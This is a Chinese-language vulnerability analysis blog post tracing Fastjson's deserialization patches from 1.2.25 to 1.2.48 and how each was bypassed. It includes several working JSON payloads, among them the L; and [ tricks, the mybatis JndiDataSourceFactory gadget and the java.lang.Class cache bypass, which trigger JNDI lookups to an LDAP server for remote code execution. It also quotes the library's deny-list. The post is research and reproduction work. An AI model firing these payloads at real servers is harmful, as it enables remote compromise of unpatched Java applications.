AI智能
改变未来

Fastjson 反序列化漏洞分析 1.2.25-1.2.47


Fastjson 反序列化漏洞分析 1.2.25-1.2.47

[toc]

写在前面

上一篇文,主要跟了下Fastjson中反序列化的逻辑,以及在1.2.22-1.2.24版本中

TemplatesImpl

JdbcRowSetImpl

两条链,这篇记录下各个版本的Bypass补丁和绕过的复现,打算后面再写篇文,整理下不出网如何利用Fastjson

Fastjson 1.2.25修复

修复改动:

  • 自从1.2.25 起 autotype 默认为False
  • 增加 checkAutoType 方法,在该方法中进行黑名单校验,同时增加白名单机制

修改pom.xml换成1.2.25版本的Fastjson

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.25</version></dependency>

首先对着1.2.25版本的fastjson打一发1.2.24版本的payload,看一下结果,已经打不成了。

先来把1.2.25jar包下下来,使用idea中

Compare With...

diff下源码看下如何修复的,在

DefaultJSONParser

类中多了一个

checkAutoType

方法检测

这里的话如果开了

autoType

会先走一个白名单

acceptList

的判断,如果当前

@Type

指定的要反序列化的类以

acceptList

数组中某一元素开头则直接

loadClass

去加载

但是因为默认白名单是空的,需要自己去

add

,所以走下面的黑名单

denyList

,黑名单如下:

"bsh""org.apache.commons.collections.functors""javax.xml""org.apache.commons.fileupload""com.sun.""org.apache.tomcat""org.springframework""java.lang.Thread""org.codehaus.groovy.runtime""org.apache.commons.beanutils""org.apache.commons.collections.Transformer""org.apache.wicket.util""java.rmi""java.net.Socket""com.mchange""org.jboss""org.hibernate""org.mozilla.javascript""org.apache.myfaces.context.servlet""org.apache.bcel""org.apache.commons.collections4.comparators""org.python.core"

而1.2.24 中我们用到的类是

com.sun.rowset.JdbcRowSetImpl

也在黑名单中,所以会抛出

auto type not support

异常

而如果没有开启

autoType

则会先走黑名单,如果指定类不在黑名单中再走白名单的判断,符合后再去

loadClass

该类

Fastjson 1.2.25-1.2.41 Bypass

先看第一种payload:需开启autoType

"{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho", "autoCommit":true}";

这个点其实上一篇文章有提到,调试看一下首先跟进到

checkAutoType

中,因为这次

@type

指定类写法变为

Lcom.sun.rowset.JdbcRowSetImpl;

所以可以很轻松的绕过黑名单

后续在

loadClass

方法中 ,满足了类名以

L

开头以

;

结尾,进而也可以调用到

loadClass

加载并返回class对象

L [ ; 这些字符是 JNI 字段描述符,可参考这篇文章

那因此,当

className

第一个字符为

[

时也同样可以进行绕过payload: 需开启autoType

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho","autoCommit":true}

首先是通过

[

绕过黑名单进入

loadClass

,之后第一次读取完类名为

[com.sun.rowset.JdbcRowSetImpl

,loadClass之后变为

[Lcom.sun.rowset.JdbcRowSetImpl;

。而之后的

[{

判断分别在

JavaBeanDeserializer#deserialze

方法和

DefaultJSONParser#parseArray

方法中parseArray:需要当前有

[

才进入后续

deserialze

方法

后续在

deserialze

方法中,需要构造

{

。具体可参考这篇文章

当然这个payload是可以通杀1.2.25-1.2.43版本

Fastjson 1.2.25-1.2.42 Bypass

从1.2.42版本开始,在

ParserConfig

类中可以看到黑名单改为了哈希黑名单,目的是防止对黑名单进行分析绕过,目前已经破解出来的黑名单:https://github.com/LeadroyaL/fastjson-blacklist

payload:需开启autoType ,通过双写

L

;

进行绕过

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho", "autoCommit":true}

下面调试分析一下,还是跟进到

checkAutoType

方法开始看首先第一次处理时会先去掉一层

L
;

然后进行黑名单hash的比对,比对完成后进入loadClass方法

跟进后发现传递的参数依然是typeName而不是我们上面看到的className,那么看看下面是如何处理掉2层

L

;

的,首先依然是进入满足

L

开头

;

结尾的逻辑,之后通过递归的方式去处理的

className

,所以当第二次再进入

loadClass

方法时就会去除掉

L

;

以正常的类名去

loadClass

Fastjson 1.2.25-1.2.43 Bypass

在1.2.43版本时在

checkAutoType

方法添加了如下的判断,导致双写

L

,

;

无法绕过。所以在此版本下可以选择上面提到的,走入

[

的判断逻辑去触发JNDI

if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {throw new JSONException("autoType is not support. " + typeName);}className = className.substring(1, className.length() - 1);}

payload:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho","autoCommit":true}

Fastjson 1.2.25-1.2.45 Bypass

1.2.44版本对

[

的绕过payload做了限制,当第一个字符为

[

时抛出异常

payload:开启autoTyoe;需要目标服务端存在mybatis的jar包,且版本需为3.x.x-3.5.0的版本。

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:1389/Basic/TomcatEcho"}

该payload主要因为

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

不在黑名单中可绕过检测,因为传入

properties

会调用

setProperties

方法进而触发JNDI

Fastjson 1.2.25-1.2.47 通杀

这里有2个版本段

  • 1.2.25-1.2.32版本:不能开启AutoType
  • 1.2.33-1.2.47版本:无论是否开启AutoType,都能成功利用

payload

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho","autoCommit":true}}

1.2.25-1.2.32 不能开启autoType

首先来看1.2.25-1.2.32不能开启AutoType

还是看到

checkAutoType

方法,因为没开启autotype所以不会进入黑白名单判断的逻辑,并且因为是jdk自带的Class类,所以可以找到

最终将其class对象直接return出来

之后调用

MiscCodec#deserialize

方法时,会去调用

loadClass

加载

JdbcRowSetImpl

,而strVal的值是在上面通过判断键是否为”val”,是的话再提取val键对应的值赋给objVal变量,而objVal在后面会赋值给strVal变量。

跟进

loadClass

,最终会将className与class对象的映射缓存到mappings中

而再一次进入

checkAutoType

方法后,会先从mappings中拿出class对象赋值给clazz

后续直接return该class对象 ,从而绕过了检测

1.2.33-1.2.47 通杀

这里拿1.2.47做调试依旧是跟进到

checkAutoType

方法,和上面的部分一样,依旧是通过

findClass

可以找到

java.lang.Class

类,之后将其class对象return出来,之后就是将

JdbcRowSetImpl

缓存到mappings里

主要看第二次进入

checkAutoType

时的逻辑,主要是下面这个if。

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {throw new JSONException("autoType is not support. " + typeName);}

但是看网上文章都说是“满足”条件,这里我跟的时候发现这两个判断结果都为false,主要存在不同的是第二个点,这里我是开启autotype调试的,因为这里进入

checkAutoType

直接就进行了白+黑的检测,并没有调用getMapping,所以这里if中第二个条件为null,也即false,从而不会抛出异常

后续就没啥好说的了,和上面过程类似,从mappings中获取到

JdbcSetRowImpl

之后直接返回该class对象

为什么分成两个小版本段

我们来diff下1.2.32和1.2.33,看看具体变动在哪里,观察到

checkAutoType

方法在1.2.33之后多了

TypeUtils.getClassFromMapping(typeName) == null

,也就是在黑名单中也会从mappings获取类,也就是当前类在黑名单中且在mappings中没有,才会抛出异常;而在1.2.32之前,只是黑名单的判断,在黑名单中就抛异常,不在就不抛。

Fastjson 1.2.48版本修复

在TypeUtils#loadClass中禁止了cache的使用,那么通过先put到mappings中再等到第二次走checkAutoType时再调用TypeUtils.getClassFromMapping()来加载这种绕过黑名单的姿势就不能再用了

Reference

https://su18.org/post/fastjson/https://www.mi1k7ea.com/2019/11/10/Fastjson%E7%B3%BB%E5%88%97%E4%B8%89%E2%80%94%E2%80%94%E5%8E%86%E5%8F%B2%E7%89%88%E6%9C%AC%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87%EF%BC%88%E9%9C%80%E5%BC%80%E5%90%AFAutoType%EF%BC%89/https://xz.aliyun.com/t/9052https://www.geek-share.com/detail/2832219080.html

赞(0) 打赏
未经允许不得转载:爱站程序员基地 » Fastjson 反序列化漏洞分析 1.2.25-1.2.47